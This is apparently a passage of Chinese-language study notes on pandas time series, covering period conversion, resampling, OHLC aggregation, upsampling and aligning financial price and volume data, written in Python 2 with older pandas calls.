p = pd.Period('2012Q4', freq = 'Q-JAN') #表示p是以1月作为 2012的财年末 就是11月到1月
print p
print

print p.asfreq('D', 'start')
print

print p.asfreq('D', 'end')
print

#要获取该季度第二个工作日下午4点的时间戳
p4pm = (p.asfreq('B', 'e') -1).asfreq('T', 's') + 16 * 60
print p4pm
print
print p4pm.to_timestamp()
print

#period_range可以用于季度性范围,范围的蒜素预算可跟上面一样
rng = pd.period_range('2011Q3', '2012Q4', freq = 'Q-JAN')
ts = pd.Series(np.arange(len(rng)), index = rng)
print ts
print

new_rng = (rng.asfreq('B', 'e') - 1).asfreq('T', 's') + 16 *60
ts.index = new_rng.to_timestamp()
print ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
2012Q4

2011-11-01

2012-01-31

2012-01-30 16:00

2012-01-30 16:00:00

2011Q3 0
2011Q4 1
2012Q1 2
2012Q2 3
2012Q3 4
2012Q4 5
Freq: Q-JAN, dtype: int32

2010-10-28 16:00:00 0
2011-01-28 16:00:00 1
2011-04-28 16:00:00 2
2011-07-28 16:00:00 3
2011-10-28 16:00:00 4
2012-01-30 16:00:00 5
dtype: int32

将Timestamp转换成Period(及其反向过程)

  1. 通过to~period方法将时间戳索引的Series和DataFrame转换成已时期索引~

    1
    2
    3
    4
    5
    6
    rng = pd.date_range('1/1/2000', periods = 3, freq = 'M')
    ts = pd.Series(np.random.randn(3), index = rng)
    pts = ts.to_period()
    print ts
    print
    print pts
    1
    2
    3
    4
    2000-01-31    1.168085
    2000-02-29 0.205205
    2000-03-31 1.301836
    Freq: M, dtype: float64

    :

    1
    2
    3
    4
    2000-01    1.168085
    2000-02 0.205205
    2000-03 1.301836
    Freq: M, dtype: float64
  2. 由于时期指的是非重叠时间区间,所以对于给定的频率,一个时间戳只能属于一个时期

  3. 新PeriodIndex的频率默认是从时间戳推断出来的,可以指定任何别的频率,结果允许重复时期

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    rng = pd.date_range('1/29/2000', periods = 6, freq = 'D')
    ts2 = pd.Series(np.random.randn(6), index = rng)
    print ts2.to_period('M')
    print
    #转换为时间戳,使用过to_timestamp
    pts = ts.to_period()
    print pts
    print

    print pts.to_timestamp(how = 'end')
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    2000-01    0.596077
    2000-01 1.005846
    2000-01 -0.141036
    2000-02 -0.205156
    2000-02 1.581535
    2000-02 0.146273
    Freq: M, dtype: float64

    2000-01 1.168085
    2000-02 0.205205
    2000-03 1.301836
    Freq: M, dtype: float64

    2000-01-31 1.168085
    2000-02-29 0.205205
    2000-03-31 1.301836
    Freq: M, dtype: float64

通过数组创建Periodindex

  1. 固定的数据通常会将时间信息分开存放在多格列

    1
    2
    3
    4
    5
    6
    data = pd.read_csv('./pydata-book-master/ch08/macrodata.csv')
    print data.year[-5:]
    print
    print data.quarter[-5:]
    print
    print data.columns
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    198    2008.0
    199 2008.0
    200 2009.0
    201 2009.0
    202 2009.0
    Name: year, dtype: float64

    198 3.0
    199 4.0
    200 1.0
    201 2.0
    202 3.0
    Name: quarter, dtype: float64

    Index([u'year', u'quarter', u'realgdp ', u'realcons', u'realinv', u'realgovt',
    u'realdpi', u'cpi', u'm1', u'tbilrate', u'unemp', u'pop', u'infl',
    u'realint'],
    dtype='object')
  2. 将多个数组以及一个频率传入PeriodIndex,就可以将他们合并成DF的一个索引

    1
    2
    3
    4
    5
    index = pd.PeriodIndex(year = data.year, quarter = data.quarter, freq = 'Q-DEC')
    print index[-5:]
    print
    data.index = index
    print data.infl[-5:]
    1
    PeriodIndex(['2008Q3', '2008Q4', '2009Q1', '2009Q2', '2009Q3'], dtype='int64', freq='Q-DEC')

    :

    1
    2
    3
    4
    5
    6
    2008Q3   -3.16
    2008Q4 -8.79
    2009Q1 0.94
    2009Q2 3.37
    2009Q3 3.56
    Freq: Q-DEC, Name: infl, dtype: float64

重采样及频率转换

重采样(resampling)是将时间序列从一个频率转换到另一个频率的处理过程

  1. 将高频率数据聚合到低频率称为降采样(downsampling)

  2. 将低频率数据转换到高频率称为升采样(upsampling)

pandas对象都有一个resample方法,它是各种频率转换工作的主要函数

1
2
3
4
5
rng = pd.date_range('1/1/2000', periods = 100, freq = 'D')
ts = pd.Series(np.random.randn(len(rng)), index = rng)
print ts.resample('M', how = 'mean')
print
print ts.resample('M', how = 'mean', kind = 'period')
1
2
3
4
5
6
7
8
9
10
11
2000-01-31    0.246297
2000-02-29 -0.087421
2000-03-31 -0.194359
2000-04-30 0.280356
Freq: M, dtype: float64

2000-01 0.246297
2000-02 -0.087421
2000-03 -0.194359
2000-04 0.280356
Freq: M, dtype: float64

resample方法的参数

参数 说明
freq 表示重采样频率的字符串或DateOffset
列如’M’ ‘5min’或 Second(15)
how = ‘mean’ 用于产生聚合值的函数名或数组函数
列如 ‘mean’ ‘ohlc’ ‘np.max’等
默认为’mean’
其他常用的: first, last median ohlc max min
axis = 0 重采样的轴,默认为axis = 0
fill~method~ = None 盛彩阳时如何插值,比如’ffill’ ‘bfill’
默认为不差值
closed = ‘right’ 在降采样中,各时间段的哪一端是闭合(包含)
‘right’或 ‘left’, 默认为’left’
label = ‘right’ 在降采样中,如何设置聚合值的标签
‘right’或 ‘left’(面元的右边界或左边界)
列如9:30到9:35之间的这5分钟被标记为9:30或9:35
默认为”left”
loffset = None 面元标签的时间校正值
比如’-1s’/Second(-1)用于将聚合标签调早1秒
limit = None 再向前或向后填充时,允许填充的最大时间数
kind = None 聚合到时期(“period”)或时间戳(“timestamp”)
默认聚合到时间序列的索引类型
convention= None 当重采样时期时,将低频率转换到高频率所用的约定
(“sart”或”end”),默认为”end”

降采样

  1. 带聚合的数据不必拥有固定的频率,期望的频率会自动定义聚合的面元边界

  2. 需要考虑的两样东西

    • 各区间哪边是闭合的
    • 如何标记各个聚合面元,用区间的开头还是末尾

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      rng = pd.date_range('1/1/2000', periods = 12, freq = 'T')
      ts = pd.Series(np.arange(12), index = rng)
      print ts
      print

      #如果想要将这些一分钟的数据聚合到5分钟的块里, 默认是left
      print ts.resample('5min', how = 'sum', closed = 'right')
      print

      print ts.resample('5min', how = 'sum')
      print

      #label 默认为left
      print ts.resample('5min', how = 'sum', label = 'right')
      print

      #对数据做些位移, 比如通过减去1秒来更容易明白时间戳表示哪个区间
      print ts.resample('5min', how = 'sum', loffset = '-1s')

      #此外可可用用结果对象的shift方法来位移

      #+begin~example~ 2000-01-01 00:00:00 0 2000-01-01 00:01:00 1
      2000-01-01 00:02:00 2 2000-01-01 00:03:00 3 2000-01-01 00:04:00
      4 2000-01-01 00:05:00 5 2000-01-01 00:06:00 6 2000-01-01
      00:07:00 7 2000-01-01 00:08:00 8 2000-01-01 00:09:00 9
      2000-01-01 00:10:00 10 2000-01-01 00:11:00 11 Freq: T, dtype:
      int32

      1999-12-31 23:55:00 0 2000-01-01 00:00:00 15 2000-01-01 00:05:00
      40 2000-01-01 00:10:00 11 Freq: 5T, dtype: int32

      2000-01-01 00:00:00 10 2000-01-01 00:05:00 35 2000-01-01
      00:10:00 21 Freq: 5T, dtype: int32

      2000-01-01 00:05:00 10 2000-01-01 00:10:00 35 2000-01-01
      00:15:00 21 Freq: 5T, dtype: int32

      1999-12-31 23:59:59 10 2000-01-01 00:04:59 35 2000-01-01
      00:09:59 21 Freq: 5T, dtype: int32

    #+end~example~

  3. OHLC重采样

    1. 金融领域中有一个时间序列局和方式,即计算各面元的四个值:

      • 第一个值:开盘(open)
      • 最后一个值: 收盘(close)
      • 最大值: 最高(high)
      • 最小值 最低(low)
    2. 传入 how = ‘ohlc’即可得到

      1
      print ts.resample('5min', how = 'ohlc')
      1
      2
      3
      4
                           open  high  low  close
      2000-01-01 00:00:00 0 4 0 4
      2000-01-01 00:05:00 5 9 5 9
      2000-01-01 00:10:00 10 11 10 11
  4. 通过groupby进行重采样

    1
    2
    3
    4
    5
    6
    rng = pd.date_range('1/1/2000', periods = 100, freq = 'D')
    ts = pd.Series(np.arange(100), index = rng)
    print ts.groupby(lambda x :x.month).mean()
    print

    print ts.groupby(lambda x: x.weekday).mean()
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    1    15
    2 45
    3 75
    4 95
    dtype: int32

    0 47.5
    1 48.5
    2 49.5
    3 50.5
    4 51.5
    5 49.0
    6 50.0
    dtype: float64

升采样和插值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
frame = pd.DataFrame(np.random.randn(2,4),
index = pd.date_range('1/1/2000', periods = 2, freq = 'W-WED'),
columns = ['Colorado', 'Texas', 'New York', 'Ohio'])
print frame[:5]

#将其重采样到日频率, 默认会引入缺失值
df_daily = frame.resample('D')
print df_daily
print

#填充用fill_method
print frame.resample('D', fill_method = 'ffill')
print

#加入限制
print frame.resample('D', fill_method = 'ffill', limit = 2)
print

#注意新的日期索引完全没必要跟旧的相交
print frame.resample('W-THU', fill_method = 'ffill')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
            Colorado     Texas  New York      Ohio
2000-01-05 -2.079375 0.758852 -0.187726 0.390049
2000-01-12 -1.031209 0.965049 -0.801320 0.266426
DatetimeIndexResampler [freq=<Day>, axis=0, closed=left, label=left, convention=start, base=0]

Colorado Texas New York Ohio
2000-01-05 -2.079375 0.758852 -0.187726 0.390049
2000-01-06 -2.079375 0.758852 -0.187726 0.390049
2000-01-07 -2.079375 0.758852 -0.187726 0.390049
2000-01-08 -2.079375 0.758852 -0.187726 0.390049
2000-01-09 -2.079375 0.758852 -0.187726 0.390049
2000-01-10 -2.079375 0.758852 -0.187726 0.390049
2000-01-11 -2.079375 0.758852 -0.187726 0.390049
2000-01-12 -1.031209 0.965049 -0.801320 0.266426

Colorado Texas New York Ohio
2000-01-05 -2.079375 0.758852 -0.187726 0.390049
2000-01-06 -2.079375 0.758852 -0.187726 0.390049
2000-01-07 -2.079375 0.758852 -0.187726 0.390049
2000-01-08 NaN NaN NaN NaN
2000-01-09 NaN NaN NaN NaN
2000-01-10 NaN NaN NaN NaN
2000-01-11 NaN NaN NaN NaN
2000-01-12 -1.031209 0.965049 -0.801320 0.266426

Colorado Texas New York Ohio
2000-01-06 -2.079375 0.758852 -0.187726 0.390049
2000-01-13 -1.031209 0.965049 -0.801320 0.266426

通过实践进行重采样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
frame = pd.DataFrame(np.random.randn(24,4),
index = pd.period_range('1-2000', '12-2001', freq = 'M'),
columns = ['Colorado', 'Texas', 'New York', 'Ohio'])
print frame[:5]
print

annual_frame = frame.resample('A-DEC', how = 'mean')
print annual_frame
print

#升采样,需要决定在新频率中各区间的哪端放置原来的值
#就像asfreq方法一样,convention参数默认"start", 可以设置成"end"

# Q-DEC:季度性(每年以12月结束) :不明白
print annual_frame.resample('Q-DEC', fill_method = 'ffill')
print
print annual_frame.resample('Q-DEC', fill_method = 'ffill', convention = 'end')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
         Colorado     Texas  New York      Ohio
2000-01 0.952261 -0.734059 -0.646535 0.795188
2000-02 -0.133186 -0.275995 -0.623968 -0.215492
2000-03 0.096732 -0.299782 -1.318219 1.653370
2000-04 1.338270 1.197021 -1.086159 -0.289210
2000-05 1.274459 -0.491662 0.726770 -0.624092

Colorado Texas New York Ohio
2000 0.289860 0.022104 -0.468915 0.008858
2001 -0.068266 0.454458 -0.011052 0.074813

Colorado Texas New York Ohio
2000Q1 0.289860 0.022104 -0.468915 0.008858
2000Q2 0.289860 0.022104 -0.468915 0.008858
2000Q3 0.289860 0.022104 -0.468915 0.008858
2000Q4 0.289860 0.022104 -0.468915 0.008858
2001Q1 -0.068266 0.454458 -0.011052 0.074813
2001Q2 -0.068266 0.454458 -0.011052 0.074813
2001Q3 -0.068266 0.454458 -0.011052 0.074813
2001Q4 -0.068266 0.454458 -0.011052 0.074813

Colorado Texas New York Ohio
2000Q4 0.289860 0.022104 -0.468915 0.008858
2001Q1 0.289860 0.022104 -0.468915 0.008858
2001Q2 0.289860 0.022104 -0.468915 0.008858
2001Q3 0.289860 0.022104 -0.468915 0.008858
2001Q4 -0.068266 0.454458 -0.011052 0.074813
  1. 由于时期指的是时间区间,所以升采样和降采样的规则就比较严格

    1. 在降采样中,目标频率必须是源频率的子时期(subperiod)

    2. 在升采样中,目标频率必须是源频率的超时期(superperiod)

      1. 如果不满足以上两条,则会发生异常

      2. 主要影响的是按季, 年 周计算的频率

        1. 列如 Q-MAR定义的时间区间只能升采样为A-MAR, A-JUM, A-SEP,
          A-DEC等

          1
          print annual_frame.resample('Q-MAR', fill_method = 'ffill')
          1
          2
          3
          4
          5
          6
          7
          8
          9
                  Colorado     Texas  New York      Ohio
          2000Q4 0.289860 0.022104 -0.468915 0.008858
          2001Q1 0.289860 0.022104 -0.468915 0.008858
          2001Q2 0.289860 0.022104 -0.468915 0.008858
          2001Q3 0.289860 0.022104 -0.468915 0.008858
          2001Q4 -0.068266 0.454458 -0.011052 0.074813
          2002Q1 -0.068266 0.454458 -0.011052 0.074813
          2002Q2 -0.068266 0.454458 -0.011052 0.074813
          2002Q3 -0.068266 0.454458 -0.011052 0.074813

时间序列绘图 待补充</span> [时间序列绘图]

移动窗口函数 待补充</span> [移动窗口函数]

性能和内存使用方面的注意事项

Timestamp和Period都是以64位整数表示的

性能方面pandas对数据对齐,和重采样运算进行了高度优化

chapter 11: 金融和经济数据应用

本章术语

截面(cross-section) 表示某个时间点的数据

  1. 例如 标准普尔500指数中所有成分股在特定日期的收盘价就形成了一个截面

面板(panel) 表示多个时间点的截面数据

  1. 多个数据项(列如价格和成交量)在多个时间点的截面数据就构成了一个面板

  2. 面板数据可以被表示为层次化索引的DataFrame, 也可以表示为三维的Panel
    pandas对象

数据规整化方面的话题

时间序列以及截面对齐

  1. 处理金融数据中,最费神的就是所谓的”数据对齐”(data alignment)问题

    1. 主要的问题

      • 两个相关的时间序列的索引没有很好的对齐
      • 两个DataFrame对象可能含有不匹配的列或行
    2. pandas在算术运算中自动对齐数据

      1. 例子数据

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        all_prices = pd.read_csv('./pydata-book-master/ch11/stock_px.csv',
        index_col = 0, parse_dates = True)
        all_volume = pd.read_csv('./pydata-book-master/ch11/volume.csv',
        index_col = 0, parse_dates = True)
        prices = all_prices[['AAPL', 'JNJ', 'SPX', 'XOM']]
        prices = prices.ix[pd.date_range('9/6/2011 00:00:00','9/14/2011 00:00:00')].dropna()
        print prices

        volume = all_volumne[['AAPL', 'JNJ', 'XOM']]
        volume = volumne.ix[pd.date_range('9/6/2011', '9/12/2011')].dropna()
        print volume
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
                      AAPL    JNJ      SPX    XOM
        2011-09-06 379.74 64.64 1165.24 71.15
        2011-09-07 383.93 65.43 1198.62 73.65
        2011-09-08 384.14 64.95 1185.90 72.82
        2011-09-09 377.48 63.64 1154.23 71.01
        2011-09-12 379.94 63.59 1162.27 71.84
        2011-09-13 384.62 63.61 1172.87 71.65
        2011-09-14 389.30 63.73 1188.68 72.64
        AAPL JNJ XOM
        2011-09-06 18173500.0 15848300.0 25416300.0
        2011-09-07 12492000.0 10759700.0 23108400.0
        2011-09-08 14839800.0 15551500.0 22434800.0
        2011-09-09 20171900.0 17008200.0 27969100.0
        2011-09-12 16697300.0 13448200.0 26205800.0
      2. 用有效数据计算一个成交加权平均价格(假设成交量是价格的子集)

        1
        2
        3
        4
        5
        6
        7
        8
        9
        print prices * volume
        print


        vwap = (prices * volume).sum() /volume.sum()
        print vwap
        print
        #因为SPX在volume中没有,所以丢弃
        print vwap.dropna()
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
                            AAPL           JNJ  SPX           XOM
        2011-09-06 6.901205e+09 1.024434e+09 NaN 1.808370e+09
        2011-09-07 4.796054e+09 7.040072e+08 NaN 1.701934e+09
        2011-09-08 5.700561e+09 1.010070e+09 NaN 1.633702e+09
        2011-09-09 7.614489e+09 1.082402e+09 NaN 1.986086e+09
        2011-09-12 6.343972e+09 8.551710e+08 NaN 1.882625e+09
        2011-09-13 NaN NaN NaN NaN
        2011-09-14 NaN NaN NaN NaN

        AAPL 380.655181
        JNJ 64.394769
        SPX NaN
        XOM 72.024288
        dtype: float64

        AAPL 380.655181
        JNJ 64.394769
        XOM 72.024288
        dtype: float64
      3. 如果需要手工对齐,使用DF的align方法,
        它返回一个元组,含有两个对象的重索引版本

        1
        print prices.align(volume, join = 'inner')
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        (              AAPL    JNJ    XOM
        2011-09-06 379.74 64.64 71.15
        2011-09-07 383.93 65.43 73.65
        2011-09-08 384.14 64.95 72.82
        2011-09-09 377.48 63.64 71.01
        2011-09-12 379.94 63.59 71.84, AAPL JNJ XOM
        2011-09-06 18173500.0 15848300.0 25416300.0
        2011-09-07 12492000.0 10759700.0 23108400.0
        2011-09-08 14839800.0 15551500.0 22434800.0
        2011-09-09 20171900.0 17008200.0 27969100.0
        2011-09-12 16697300.0 13448200.0 26205800.0)
      4. 通过一组索引可能不同的Series构建一个DF

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        s1 = pd.Series(range(3), index = list('abc'))
        s2 = pd.Series(range(4), index = list('dbce'))
        s3 = pd.Series(range(3), index = list('fac'))
        print pd.DataFrame({'one': s1,
        'two': s2,
        'three': s3})
        print

        #显示定义结果索引(丢弃其余的数据)
        print pd.DataFrame({'one': s1,
        'two': s2,
        'three': s3},
        index = list('face'))
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
           one  three  two
        a 0.0 1.0 NaN
        b 1.0 NaN 1.0
        c 2.0 2.0 2.0
        d NaN NaN 0.0
        e NaN NaN 3.0
        f NaN 0.0 NaN

        one three two
        f NaN 0.0 NaN
        a 0.0 1.0 NaN
        c 2.0 2.0 2.0
        e NaN NaN 3.0
  2. 频率不同的时间序列的运算

    1. 因为盈利预测调整随时可能发生等原因,频率转换和冲对齐的两个主要方法是resample和reindex

      1. resample用于将数据转换到固定频率,reindex用于使数据符合一个新索引

      2. 这两方法都支持插值逻辑

      3. 周型时间序列

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        ts1 = pd.Series(np.random.randn(3),
        index = pd.date_range('2012-6-13', periods = 3, freq = 'W-WED'))
        print ts1
        print

        #将其重采样到工作日频率,没有的数据会是NAN
        print ts1.resample('B')
        print

        #填充空白,处理较低频率数据常常这么干
        print ts1.resample('B', fill_method = 'ffill')
        print

        #在实际工作中,将较低频率的数据升采样到较高的规整频率是一个不错的解决方案
        #但是对于更一般化的不规整时间序列不太适合
        dates = pd.DatetimeIndex(['2012-6-12', '2012-6-17', '2012-6-18',
        '2012-6-21', '2012-6-22', '2012-6-29'])
        ts2 = pd.Series(np.random.randn(6), index = dates)
        print ts2
        print

        #在维持ts2的日期索引,处理ts1和ts2之间的运算,用reindex是更好的解决方法
        print ts1.reindex(ts2.index, method = 'ffill')
        print
        print ts2 + ts1.reindex(ts2.index, method = 'ffill')
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        2012-06-13    1.644655
        2012-06-20 -1.245813
        2012-06-27 1.016858
        Freq: W-WED, dtype: float64

        DatetimeIndexResampler [freq=<BusinessDay>, axis=0, closed=left, label=left, convention=start, base=0]

        2012-06-13 1.644655
        2012-06-14 1.644655
        2012-06-15 1.644655
        2012-06-18 1.644655
        2012-06-19 1.644655
        2012-06-20 -1.245813
        2012-06-21 -1.245813
        2012-06-22 -1.245813
        2012-06-25 -1.245813
        2012-06-26 -1.245813
        2012-06-27 1.016858
        Freq: B, dtype: float64

        2012-06-12 -0.068556
        2012-06-17 -0.537801
        2012-06-18 0.171733
        2012-06-21 -0.187693
        2012-06-22 -1.213072
        2012-06-29 -0.092329
        dtype: float64

        2012-06-12 NaN
        2012-06-17 1.644655
        2012-06-18 1.644655
        2012-06-21 -1.245813
        2012-06-22 -1.245813
        2012-06-29 1.016858
        dtype: float64

        2012-06-12 NaN
        2012-06-17 1.106854
        2012-06-18 1.816387
        2012-06-21 -1.433506
        2012-06-22 -2.458885
        2012-06-29 0.924529
        dtype: float64
    2. 使用period

      1. period提供了另一种处理不同频率时间序列的方法,尤其对特殊规范的以年或季度为频率的金融或经济序列

        1. 比如一个公司可能会发布6月结尾的财年的每季度盈利报告,其频率为Q-JUN

          1
          2
          3
          4
          5
          6
          7
          8
          gdp = pd.Series([1.78, 1.94, 2.08, 2.01, 2.15, 2.31, 2.46],
          index = pd.period_range('1984Q2', periods = 7, freq = 'Q-SEP'))
          infl = pd.Series([0.025, 0.045, 0.037, 0.04],
          index = pd.period_range('1982', periods = 4, freq = 'A-DEC'))
          print gdp
          print
          print infl
          print
          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          1984Q2    1.78
          1984Q3 1.94
          1984Q4 2.08
          1985Q1 2.01
          1985Q2 2.15
          1985Q3 2.31
          1985Q4 2.46
          Freq: Q-SEP, dtype: float64

          1982 0.025
          1983 0.045
          1984 0.037
          1985 0.040
          Freq: A-DEC, dtype: float64
        2. 跟Timestamp的时间序列不同,Period索引的两个不同频率之间的运算必须进行显示换算

          1. 已知infl值是每年年末观察的

            1
            2
            3
            4
            5
            infl_q = infl.asfreq('Q-SEP', how = 'end')
            print infl_q

            #然后这个时间序列重索引
            print infl_q.reindex(gdp.index, method = 'ffill')
            1
            2
            3
            4
            5
            6
            7
            8
            9
            10
            11
            12
            13
            1983Q1    0.025
            1984Q1 0.045
            1985Q1 0.037
            1986Q1 0.040
            Freq: Q-SEP, dtype: float64
            1984Q2 0.045
            1984Q3 0.045
            1984Q4 0.045
            1985Q1 0.037
            1985Q2 0.037
            1985Q3 0.037
            1985Q4 0.037
            Freq: Q-SEP, dtype: float64
  3. 时间和”最当前”数据选取

    1. 假设有一个很长的盘中市场数据时间序列,希望抽取其中每天特定时间的价格数据

    2. 但是如果数据不规则(观察值没有精确的落在期望的时间点上)

    3. 如果不够小心,很容易导致错误的数据规整化

      1. 例子数据

        1
        2
        3
        4
        5
        6
        7
        8
        #生成一个交易日内的日期范围和时间序列
        rng = pd.date_range("2012-06-01 09:30", '2012-06-01 15:59', freq = 'T')

        #生成5天的时间点(9:30到15:59之间的值)
        rng = rng.append([rng + pd.offsets.BDay(i) for i in range(1,4)])
        ts = pd.Series(np.arange(len(rng), dtype = float), index = rng)
        print ts[:5]
        print ts[-5:]
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        2012-06-01 09:30:00    0.0
        2012-06-01 09:31:00 1.0
        2012-06-01 09:32:00 2.0
        2012-06-01 09:33:00 3.0
        2012-06-01 09:34:00 4.0
        dtype: float64
        2012-06-06 15:55:00 1555.0
        2012-06-06 15:56:00 1556.0
        2012-06-06 15:57:00 1557.0
        2012-06-06 15:58:00 1558.0
        2012-06-06 15:59:00 1559.0
        dtype: float64
      2. 利用python的datetime.time对象进行索引即可抽取这样的时间点上的值

        1
        2
        3
        4
        5
        6
        from datetime import time
        print ts[time(10,0)]
        print

        #实际上,该操作使用了实例方法at_time
        print ts.at_time(time(10,0))
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        2012-06-01 10:00:00      30.0
        2012-06-04 10:00:00 420.0
        2012-06-05 10:00:00 810.0
        2012-06-06 10:00:00 1200.0
        dtype: float64

        2012-06-01 10:00:00 30.0
        2012-06-04 10:00:00 420.0
        2012-06-05 10:00:00 810.0
        2012-06-06 10:00:00 1200.0
        dtype: float64
      3. between~time方法~,用于选取两个time对象之间的值

        1
        print ts.between_time(time(10,0), time(10,1))
        1
        2
        3
        4
        5
        6
        7
        8
        9
        2012-06-01 10:00:00      30.0
        2012-06-01 10:01:00 31.0
        2012-06-04 10:00:00 420.0
        2012-06-04 10:01:00 421.0
        2012-06-05 10:00:00 810.0
        2012-06-05 10:01:00 811.0
        2012-06-06 10:00:00 1200.0
        2012-06-06 10:01:00 1201.0
        dtype: float64
      4. 对于刚好没有所对应的值(上午10点),需要得到之前(上午10点之前)最后出现的值

        1
        2
        3
        4
        5
        6
        7
        8
        9
        indexer = np. sort(np.random.permutation(len(ts))[700:])
        irr_ts = ts.copy()
        irr_ts[indexer] = np.nan
        print irr_ts['2012-06-01 09:50': '2012-06-01 10:00']
        print

        #将一组TImestamp传入asof方法,能得到最近的有效值
        selection = pd.date_range('2012-06-01 10:00', periods = 4, freq = 'B')
        print irr_ts.asof(selection)
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        2012-06-01 09:50:00     NaN
        2012-06-01 09:51:00 NaN
        2012-06-01 09:52:00 22.0
        2012-06-01 09:53:00 NaN
        2012-06-01 09:54:00 NaN
        2012-06-01 09:55:00 25.0
        2012-06-01 09:56:00 NaN
        2012-06-01 09:57:00 NaN
        2012-06-01 09:58:00 NaN
        2012-06-01 09:59:00 29.0
        2012-06-01 10:00:00 NaN
        dtype: float64

        2012-06-01 10:00:00 29.0
        2012-06-04 10:00:00 420.0
        2012-06-05 10:00:00 809.0
        2012-06-06 10:00:00 1200.0
        Freq: B, dtype: float64

拼接多个数据源

  • 在一个特定的时间点上,从一个数据源切换到另一个数据源
  • 用另一个时间序列对当前时间序列中的缺失值”打补丁”
  • 将数据中的符号(国家 资产代码等)替换成实际数据
  1. 在特定时刻从一个时间序列切换到另一个,就是用pandas.concat将两个TimeSeries或DF合并

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    data1 = pd.DataFrame(np.ones((6,3), dtype = float),
    columns = ['a', 'b', 'c'],
    index = pd.date_range('6/12/2012', periods = 6))

    data2 = pd.DataFrame(np.ones((6,3), dtype = float) * 2,
    columns = ['a', 'b', 'c'],
    index = pd.date_range('6/13/2012', periods = 6))
    spliced = pd.concat([data1.ix[:'2012-06-14'], data2.ix['2012-06-15':]])
    print spliced
    print


    #假如data1缺失了data2中存在的某个时间序列
    data2 = pd.DataFrame(np.ones((6,4), dtype = float) * 2,
    columns = list('abcd'),
    index = pd.date_range('6/13/2012', periods = 6))
    spliced = pd.concat([data1.ix[:'2012-06-14'], data2.ix['2012-06-15':]])
    print spliced
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
                  a    b    c
    2012-06-12 1.0 1.0 1.0
    2012-06-13 1.0 1.0 1.0
    2012-06-14 1.0 1.0 1.0
    2012-06-15 2.0 2.0 2.0
    2012-06-16 2.0 2.0 2.0
    2012-06-17 2.0 2.0 2.0
    2012-06-18 2.0 2.0 2.0

    a b c d
    2012-06-12 1.0 1.0 1.0 NaN
    2012-06-13 1.0 1.0 1.0 NaN
    2012-06-14 1.0 1.0 1.0 NaN
    2012-06-15 2.0 2.0 2.0 2.0
    2012-06-16 2.0 2.0 2.0 2.0
    2012-06-17 2.0 2.0 2.0 2.0
    2012-06-18 2.0 2.0 2.0 2.0
  2. combine~first可以引入合并点之前的数据~,这样就扩展了’d’项的历史

    1
    2
    3
    4
    spliced_filled = spliced.combine_first(data2)
    print spliced_filled

    #如果data2没有关于2012-06-12的数据,所以也就没有值被填充到那一天
    1
    2
    3
    4
    5
    6
    7
    8
                  a    b    c    d
    2012-06-12 1.0 1.0 1.0 NaN
    2012-06-13 1.0 1.0 1.0 2.0
    2012-06-14 1.0 1.0 1.0 2.0
    2012-06-15 2.0 2.0 2.0 2.0
    2012-06-16 2.0 2.0 2.0 2.0
    2012-06-17 2.0 2.0 2.0 2.0
    2012-06-18 2.0 2.0 2.0 2.0
  3. DF也有一个类似的方法update,可以实现就地更新,如果只想填充空洞,必须传入
    overwrite = False

    1
    2
    spliced.update(data2, overwrite = False)
    print spliced
    1
    2
    3
    4
    5
    6
    7
    8
    9
    #+RESULTS:
    : a b c d
    : 2012-06-12 1.0 1.0 1.0 NaN
    : 2012-06-13 1.0 1.0 1.0 2.0
    : 2012-06-14 1.0 1.0 1.0 2.0
    : 2012-06-15 2.0 2.0 2.0 2.0
    : 2012-06-16 2.0 2.0 2.0 2.0
    : 2012-06-17 2.0 2.0 2.0 2.0
    : 2012-06-18 2.0 2.0 2.0 2.0
  4. 利用DF的索引机制直接多列进行设置

    1
    2
    3
    cp_spliced = spliced.copy()
    cp_spliced[['a', 'c']] = data1[['a', 'c']]
    print cp_spliced
    1
    2
    3
    4
    5
    6
    7
    8
    9
    #+RESULTS:
    : a b c d
    : 2012-06-12 1.0 1.0 1.0 NaN
    : 2012-06-13 1.0 1.0 1.0 2.0
    : 2012-06-14 1.0 1.0 1.0 2.0
    : 2012-06-15 1.0 2.0 1.0 2.0
    : 2012-06-16 1.0 2.0 1.0 2.0
    : 2012-06-17 1.0 2.0 1.0 2.0
    : 2012-06-18 NaN 2.0 NaN 2.0

收益指数和累计收益

  1. 收益(return)通常是指某资产价格的百分比变化

  2. 使用2011到2012年苹果股票价格数据来为例

    1
    2
    3
